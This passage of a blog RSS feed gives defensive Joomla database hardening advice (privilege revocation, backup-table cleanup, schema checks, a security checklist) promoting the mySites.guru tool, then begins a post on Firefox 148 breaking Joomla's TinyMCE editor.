&lt;li&gt;&lt;strong&gt;SUPER&lt;/strong&gt; - bypass privilege restrictions, kill other users&apos; queries, change global server settings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GRANT OPTION&lt;/strong&gt; - grant any privilege the user has to other users. An attacker can create new users with full access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHUTDOWN&lt;/strong&gt; - shut down the MySQL server entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a SQL injection vulnerability is discovered in any Joomla extension on your site, the damage an attacker can do is directly proportional to the privileges your database user holds. With just the required set, they can read and modify data in your Joomla database. Bad, but recoverable. With FILE privilege, they can drop a backdoor on your filesystem. With SUPER, they can take over the database server. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework vulnerability (CVE-2026-21627)&lt;/a&gt; is a real-world example of exactly this: an unauthenticated SQL injection in a bundled Joomla component that gives attackers direct database access.&lt;/p&gt;
&lt;h3&gt;How to check and fix&lt;/h3&gt;
&lt;p&gt;To see what privileges your user currently has:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHOW GRANTS FOR &apos;joomla_user&apos;@&apos;localhost&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the output includes dangerous privileges, revoke them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;REVOKE FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN
  ON *.* FROM &apos;joomla_user&apos;@&apos;localhost&apos;;
FLUSH PRIVILEGES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the output shows &lt;code&gt;GRANT ALL PRIVILEGES&lt;/code&gt;, your user has everything, including the dangerous ones. The cleanest fix is to create a new user with only the required privileges (using the command from the root user section) and update &lt;code&gt;configuration.php&lt;/code&gt; to use it.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;On shared hosting, you may not be able to run REVOKE directly. Most hosting control panels (cPanel, Plesk, DirectAdmin) have a database user privilege editor in their interface. Look for your database section, find the user, and uncheck everything except SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, CREATE TEMPORARY TABLES, and LOCK TABLES.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;The ALL PRIVILEGES trap&lt;/h3&gt;
&lt;p&gt;Many guides and StackOverflow answers casually recommend &lt;code&gt;GRANT ALL PRIVILEGES&lt;/code&gt; when setting up a database user. It&apos;s the easy path where everything works and you never get a &quot;permission denied&quot; error. But &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; includes FILE, PROCESS, SUPER, and everything else. It&apos;s the second-worst option after using root directly.&lt;/p&gt;
&lt;p&gt;If you see &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; in your grants output, treat it the same as any other over-privileged configuration: create a new user with explicit minimum privileges and switch to it.&lt;/p&gt;
&lt;h2&gt;Why Should You Remove Backup Tables from Your Joomla Database?&lt;/h2&gt;
&lt;p&gt;When you run the Joomla installer into a database that already contains tables (from a previous installation, for example), the installer offers to back up the existing tables by renaming them with a &lt;code&gt;bak_&lt;/code&gt; prefix. So &lt;code&gt;jos_users&lt;/code&gt; becomes &lt;code&gt;bak_jos_users&lt;/code&gt;, &lt;code&gt;jos_content&lt;/code&gt; becomes &lt;code&gt;bak_jos_content&lt;/code&gt;, and so on. Open phpMyAdmin on a long-running Joomla site and you might see dozens of these &lt;code&gt;bak_&lt;/code&gt; tables sitting alongside the live ones.&lt;/p&gt;
&lt;p&gt;The problem is that nobody cleans them up afterward. The installer creates them, the site works fine, and the backup tables sit there indefinitely.&lt;/p&gt;
&lt;p&gt;Tim Davis covers the cleanup process in detail: &lt;a href=&quot;https://www.youtube.com/watch?v=PXpZSucIDko&quot;&gt;Remove BAK_ Backup Tables From Your Joomla Database&lt;/a&gt;. He walks through both automated and manual approaches to finding and removing these tables safely.&lt;/p&gt;
&lt;h3&gt;Why backup tables are a security risk&lt;/h3&gt;
&lt;p&gt;Backup tables contain historical copies of your data. Your &lt;code&gt;jos_users&lt;/code&gt; table has your current user records with current (hopefully hashed) passwords. A backup table from two years ago has the user records from two years ago, potentially with weaker password hashes if you&apos;ve upgraded your hashing algorithm since then. It might also contain accounts for users who have since been deleted.&lt;/p&gt;
&lt;p&gt;If an attacker gains read access to your database through SQL injection, backup tables give them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Historical user data&lt;/strong&gt; - email addresses, usernames, and password hashes from previous periods&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Old configuration data&lt;/strong&gt; - API keys, SMTP credentials, or other sensitive settings stored in the database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Migration artifacts&lt;/strong&gt; - data from a previous CMS or an earlier Joomla version that might contain information you thought was deleted&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Beyond the security angle, backup tables consume disk space. On sites with large content tables or extensive user bases, backup tables can double or triple your database size. This slows down database operations, increases backup time, and on some hosts pushes you into a higher billing tier.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector runs &lt;code&gt;SHOW TABLES&lt;/code&gt; on your database and looks for any table with a name starting with &lt;code&gt;bak_&lt;/code&gt;. This is the prefix Joomla&apos;s installer creates when you install over an existing database and choose to back up the old tables. If any &lt;code&gt;bak_&lt;/code&gt; tables exist, the check fails.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the full list of &lt;code&gt;bak_&lt;/code&gt; tables on that site. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will drop all the backup tables remotely. No need to open phpMyAdmin or run SQL manually. Use the pivot view to see which sites across your portfolio have leftover backup tables.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix manually&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open phpMyAdmin or your preferred database tool.&lt;/li&gt;
&lt;li&gt;Confirm the tables flagged are actually backups and not tables created by a legitimate extension. Check the table structure: if it mirrors an existing core or extension table, it&apos;s almost certainly a backup.&lt;/li&gt;
&lt;li&gt;Take a fresh database backup before deleting anything (yes, the irony is noted).&lt;/li&gt;
&lt;li&gt;Drop the backup tables:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;DROP TABLE bak_jos_users;
DROP TABLE bak_jos_content;
DROP TABLE bak_jos_extensions;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Verify the site works normally afterward.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Don&apos;t delete tables you can&apos;t identify. Some extensions create tables with non-obvious names. If you&apos;re unsure whether a table belongs to an active extension, check the extension&apos;s documentation or search for the table name in the extension&apos;s source code before dropping it.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;Preventing future backup table accumulation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Configure your backup extension (&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; or similar) to store backups as files, not as additional database tables&lt;/li&gt;
&lt;li&gt;After running database migrations, include table cleanup as part of your post-migration checklist&lt;/li&gt;
&lt;li&gt;If you&apos;re manually duplicating tables before making changes, set a calendar reminder to remove them within a week&lt;/li&gt;
&lt;li&gt;Run the mySites.guru snapshot periodically. &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule it&lt;/a&gt; to run weekly or monthly, and it will catch new backup tables before they accumulate&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Does Your Database Schema Match the Installed Joomla Version?&lt;/h2&gt;
&lt;p&gt;When Joomla updates between versions, it runs database migration scripts that add new tables, add columns to existing tables, change column types, and update indexes. If an update fails partway through, or if someone restores a database backup from an older version without re-running migrations, the database schema can end up out of sync with the installed Joomla code.&lt;/p&gt;
&lt;p&gt;A schema mismatch can cause subtle bugs. Extension installs might fail silently. Admin pages might throw errors when trying to access columns that don&apos;t exist. In some cases, Joomla&apos;s built-in update process gets stuck because it thinks a migration already ran when it didn&apos;t.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector loads Joomla&apos;s &lt;code&gt;com_installer&lt;/code&gt; Database model and compares the current schema version (stored in the &lt;code&gt;#__schemas&lt;/code&gt; table) against the latest schema version available in Joomla&apos;s migration files. If the versions don&apos;t match, the check fails. On Joomla 4 and later, it also compares the &lt;code&gt;com_admin&lt;/code&gt; extension version against the installed Joomla version to catch partial updates.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the current vs expected schema version numbers and any schema errors. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will run the missing migration scripts remotely. The pivot view shows you which sites across your portfolio have schema mismatches, so you can batch your fixes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix via Joomla&apos;s built-in tool&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Joomla includes a built-in database repair tool. In the Joomla administrator:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Maintenance &amp;gt; Database&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Joomla will compare the expected schema against the actual database&lt;/li&gt;
&lt;li&gt;Select any items marked as needing attention&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update Structure&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the built-in tool can&apos;t resolve the issue (rare, but it happens with heavily customized sites), you may need to manually apply the missing SQL from Joomla&apos;s migration files in &lt;code&gt;administrator/components/com_admin/sql/updates/mysql/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Always &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;back up your database&lt;/a&gt; before running schema fixes.&lt;/p&gt;
&lt;h2&gt;Should You Enable Joomla&apos;s User Action Log Auto Purge?&lt;/h2&gt;
&lt;p&gt;Joomla&apos;s User Action Log component tracks administrator activity: who logged in, who changed what article, who installed which extension. It&apos;s a useful audit trail, but the log table grows over time. Without automatic purging, the &lt;code&gt;#__action_logs&lt;/code&gt; table can grow to hundreds of thousands of rows on busy sites, slowing down database operations and backups.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector reads the &lt;code&gt;logDeletePeriod&lt;/code&gt; parameter from the &lt;code&gt;PLG_SYSTEM_ACTIONLOGS&lt;/code&gt; plugin in the &lt;code&gt;#__extensions&lt;/code&gt; table. The check passes only if the value is exactly 30. If it&apos;s set to a different number, disabled, or not configured, the check fails and shows the current value (or &quot;Days&quot; if no value is set). This is a Joomla 3.9+ check only.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the current purge setting. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will set the value to 30 days remotely. Use the pivot view to see which sites across your portfolio need this configured.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix via Joomla admin&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In the Joomla administrator, go to &lt;strong&gt;System &amp;gt; Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Search for &quot;Action Log - User Actions&quot;&lt;/li&gt;
&lt;li&gt;Open the plugin settings&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;Days to delete log entries after&lt;/strong&gt; to 30 (or whatever retention period you need)&lt;/li&gt;
&lt;li&gt;Make sure the plugin is enabled&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For sites where you need longer retention (compliance requirements, client audit trails), set a longer period. The point is to have some limit rather than letting the table grow without bounds.&lt;/p&gt;
&lt;h2&gt;A complete Joomla database security checklist&lt;/h2&gt;
&lt;p&gt;Here&apos;s the complete set of database integrity checks you should apply to every Joomla site you manage:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Table prefix&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is it something other than &lt;code&gt;jos_&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Is it random and non-guessable?&lt;/li&gt;
&lt;li&gt;Does it end with an underscore?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Database user&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is it a dedicated user (not root)?&lt;/li&gt;
&lt;li&gt;Does it have a strong, unique password?&lt;/li&gt;
&lt;li&gt;Is it restricted to connecting from localhost only?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Single database access&lt;/strong&gt; (mySites.guru check)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does the database user only have access to one database?&lt;/li&gt;
&lt;li&gt;Is each site on the server using its own dedicated user?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. Backup tables&lt;/strong&gt; (mySites.guru check, Joomla only)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are there leftover &lt;code&gt;bak_&lt;/code&gt; tables in the database?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;5. Schema integrity&lt;/strong&gt; (mySites.guru check, Joomla only)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does the database schema version match the installed Joomla version?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;6. Action log purge&lt;/strong&gt; (mySites.guru check, Joomla 3.9+ only)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is the User Action Log plugin configured to auto-purge at 30 days?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;7. Privileges&lt;/strong&gt; (manual check)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are only the required privileges granted? (SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, and optionally CREATE TEMPORARY TABLES and LOCK TABLES)&lt;/li&gt;
&lt;li&gt;Are dangerous privileges absent? (FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN)&lt;/li&gt;
&lt;li&gt;Is &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; not being used?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;8. Configuration protection&lt;/strong&gt; (manual check)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is &lt;code&gt;configuration.php&lt;/code&gt; set to 444 (read-only) permissions?&lt;/li&gt;
&lt;li&gt;Is the database password unique and not reused elsewhere?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Run the mySites.guru snapshot on your connected sites to check items 1-6 automatically. For items 7-8, you&apos;ll need to verify manually. For sites that fail multiple checks, prioritise fixing them in order: root user first (critical), then single-database access (critical), then table prefix (medium), then backup tables and schema (maintenance).&lt;/p&gt;
&lt;h2&gt;How Do You Check Multiple Sites at Once?&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, checking database security manually on each one would take forever. This is where mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; earns its keep.&lt;/p&gt;
&lt;p&gt;Run a snapshot across all connected sites with a single click, or &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule them to run automatically&lt;/a&gt; on whatever cadence makes sense. The pivot view (shown above) lets you pick any single check and see every site&apos;s status on one screen, so you can focus your time on the sites that actually need attention.&lt;/p&gt;
&lt;p&gt;The snapshot captures &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;over 100 checks per site&lt;/a&gt;, and the database integrity checks covered in this post are just one category. You&apos;ll also get checks for &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;, file permissions, core file integrity, &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;PHP configuration&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;dangerous leftover files&lt;/a&gt;, and much more. Combined with a full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; that scans for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, you get a thorough picture of each site&apos;s security posture.&lt;/p&gt;
&lt;p&gt;For each flagged issue, the tool links to a &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice explanation&lt;/a&gt; so your team members and clients understand why the recommendation matters, not just what to change.&lt;/p&gt;
&lt;h2&gt;What About WordPress Database Security?&lt;/h2&gt;
&lt;p&gt;The underlying risks are identical for WordPress. The default table prefix is &lt;code&gt;wp_&lt;/code&gt; instead of &lt;code&gt;jos_&lt;/code&gt;, and the table names are different, but automated tools target &lt;code&gt;wp_users&lt;/code&gt; and &lt;code&gt;wp_options&lt;/code&gt; just as readily as they target &lt;code&gt;jos_users&lt;/code&gt; and &lt;code&gt;jos_extensions&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The mySites.guru snapshot runs three of the same database checks on WordPress sites: default &lt;code&gt;wp_&lt;/code&gt; prefix detection, root user warnings, and single-database access checks. WordPress also gets a &lt;strong&gt;Pending Database Migrations&lt;/strong&gt; check (comparing the code&apos;s expected &lt;code&gt;$wp_db_version&lt;/code&gt; against the stored &lt;code&gt;db_version&lt;/code&gt; option) instead of the Joomla schema check. The backup tables and action log purge checks are Joomla-specific.&lt;/p&gt;
&lt;p&gt;Note that WordPress database fix tools currently require manual action - the remote &lt;strong&gt;Fix This For Me&lt;/strong&gt; buttons are available on Joomla sites only. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage both Joomla and WordPress sites&lt;/a&gt; from the mySites.guru dashboard, the snapshot will still flag the issues on WordPress so you know what needs attention.&lt;/p&gt;
&lt;h2&gt;Learn More: Basic Joomla Tutorials&lt;/h2&gt;
&lt;p&gt;If you prefer video walkthroughs, Tim Davis runs the &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; YouTube channel with hundreds of Joomla maintenance and security videos. The three videos linked throughout this post cover the database topics in detail:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GQvGbT2qC_4&quot;&gt;Don&apos;t Use the Default JOS_ Database Table Prefix in Joomla&lt;/a&gt; - why the default prefix is a target and how to change it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=JQXYWwRs10M&quot;&gt;No Database Threesomes in Joomla&lt;/a&gt; - why each site needs its own database user with access to only one database&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=PXpZSucIDko&quot;&gt;Remove BAK_ Backup Tables From Your Joomla Database&lt;/a&gt; - finding and safely removing orphaned backup tables&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tim&apos;s Maintenance Monday streams are a solid resource for anyone managing Joomla sites professionally.&lt;/p&gt;
&lt;h2&gt;Beyond the snapshot: defence in depth&lt;/h2&gt;
&lt;p&gt;Database security checks are one layer in a multi-layered security strategy. They complement other practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keep Joomla and extensions updated.&lt;/strong&gt; Most SQL injection vulnerabilities are in outdated extensions. &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass updates from the mySites.guru dashboard&lt;/a&gt; keep everything current with minimal effort.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run regular security audits.&lt;/strong&gt; The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep audit&lt;/a&gt; scans every file in your webspace against thousands of known malware patterns, and the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can identify obfuscated threats that signature-based scanning misses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set up real-time alerts.&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;File change and login monitoring&lt;/a&gt; catches suspicious activity the moment it happens, before an attacker has time to establish persistence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protect configuration files.&lt;/strong&gt; Your &lt;code&gt;configuration.php&lt;/code&gt; contains your database credentials in plain text. It should be readable only by the web server user, not writable, and not accessible from the web. The mySites.guru snapshot checks file permissions as part of its standard run, and the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files tool&lt;/a&gt; can surface configuration files that have been copied or backed up to accessible locations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use strong, unique passwords everywhere.&lt;/strong&gt; The database password in &lt;code&gt;configuration.php&lt;/code&gt; should be unique to that site. Password reuse across sites means a compromise on one site compromises them all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your Joomla email config.&lt;/strong&gt; A compromised site is often used to send spam. &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;Verify your email configuration works&lt;/a&gt; so you&apos;ll notice if something changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, run a snapshot on your sites and check the Database Integrity section in the results. Fix whatever is flagged, starting with the most critical issues.&lt;/p&gt;
&lt;p&gt;Not using mySites.guru yet? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free audit&lt;/a&gt; to see what the tool finds on your site. It takes under two minutes to connect a site and run the first snapshot. You might be surprised at what&apos;s been sitting in your database configuration since the day the site was installed.&lt;/p&gt;
&lt;p&gt;For agencies and freelancers managing client sites, the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing plans&lt;/a&gt; scale with the number of connected sites. Every plan includes unlimited snapshots and audits across all your sites, database integrity checks included, no add-on required.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.4/en/security-guidelines.html&quot;&gt;MySQL 8.4 Security Guidelines&lt;/a&gt; - Official MySQL documentation on securing your database server, including user management, network access, and encryption.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html&quot;&gt;OWASP Database Security Cheat Sheet&lt;/a&gt; - Guidance on database hardening for MySQL, PostgreSQL, and other platforms, with specific configuration recommendations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla-tips.org/secure-joomla/change-the-default-joomla-database-prefix.html&quot;&gt;Change the Default Joomla Database Prefix&lt;/a&gt; - Step-by-step walkthrough of changing the jos_ prefix on existing Joomla installations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2010/the-prefix-has-nothing-to-do-with-telephony&quot;&gt;The Prefix Has Nothing To Do With Telephony&lt;/a&gt; - Joomla Magazine article on the history and purpose of database table prefixes in Joomla.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; - Tim Davis&apos;s YouTube channel with hundreds of Joomla tutorials, including the Maintenance Monday security series.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Database security is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>database</category><category>joomla</category><category>snapshot</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/joomla-database-security.D1A7c2zO.png" length="0" type="image/png"/></item><item><title>Joomla TinyMCE Editor Broken in Firefox 148 - How to Fix It</title><link>https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/</guid><description>Firefox 148 broke the TinyMCE editor in Joomla 4, 5, and 6. The editor flickers and reloads endlessly. Joomla 5.4.4 and 6.0.4 fix it permanently.</description><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 bg-neutral-100 p-4 dark:border-neutral-700 dark:bg-neutral-800&quot;&amp;gt;
&amp;lt;p class=&quot;m-0 text-sm text-neutral-700 dark:text-neutral-300&quot;&amp;gt;&amp;lt;strong&amp;gt;Update (March 31, 2026):&amp;lt;/strong&amp;gt; Joomla 5.4.4 and 6.0.4 are out with the TinyMCE fix baked in, plus six security patches. Update to these versions instead of using the hotfix. &amp;lt;a href=&quot;#upgrade-all-your-joomla-sites-from-one-dashboard-with-mysitesguru&quot; class=&quot;text-neutral-700 underline dark:text-neutral-300&quot;&amp;gt;Jump to update instructions&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;On February 26, 2026, Firefox 148 landed and immediately broke the TinyMCE editor in Joomla. Every version of Joomla that ships TinyMCE was affected: 4.4.x, 5.4.x, and 6.0.x. The editor flickers endlessly, reloading its iframe in an infinite loop. Content editing becomes impossible.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;If you manage &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;multiple Joomla sites&lt;/a&gt; and your content editors started reporting problems the same week, this is almost certainly the cause. &lt;strong&gt;Joomla 5.4.4 and 6.0.4 were &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;released on March 31, 2026&lt;/a&gt;&lt;/strong&gt; with this fix included, along with six security patches. Updating to these versions is now the recommended solution. Hotfix packages for 5.4.3 and 6.0.3 are also still available from &lt;a href=&quot;https://downloads.joomla.org/cms/joomla6/6-0-3&quot;&gt;downloads.joomla.org&lt;/a&gt; if you cannot update immediately.&lt;/p&gt;
&lt;h2&gt;What went wrong with Joomla&apos;s TinyMCE?&lt;/h2&gt;
&lt;p&gt;Firefox 148 removed a deprecated API called &lt;code&gt;MouseEvent.mozInputSource&lt;/code&gt;. This was a Mozilla-specific property that let JavaScript distinguish between mouse clicks from different input devices (physical mouse, touch screen, pen). Mozilla marked it as deprecated years ago and finally removed it in Firefox 148.&lt;/p&gt;
&lt;p&gt;TinyMCE&apos;s initialization code relied on this property. During editor setup, TinyMCE checks whether the iframe containing the editor has finished loading. The code path that performed this check interacted with &lt;code&gt;mozInputSource&lt;/code&gt; in a way that, once the property was removed, caused the iframe to never reach a completed state. TinyMCE would detect the iframe as incomplete, tear it down, and reinitialize, over and over.&lt;/p&gt;
&lt;p&gt;The result: the editor loads its stylesheets repeatedly, the content area flickers, and you cannot type or interact with anything.&lt;/p&gt;
&lt;h2&gt;Which browsers and platforms are affected?&lt;/h2&gt;
&lt;p&gt;The bug is specific to Firefox:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Firefox 148&lt;/strong&gt; on macOS (both Apple Silicon and Intel), Windows 11, and Ubuntu 24.04&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Firefox Developer Edition 149.0b1&lt;/strong&gt; (also affected, confirming this is a permanent API removal)&lt;/li&gt;
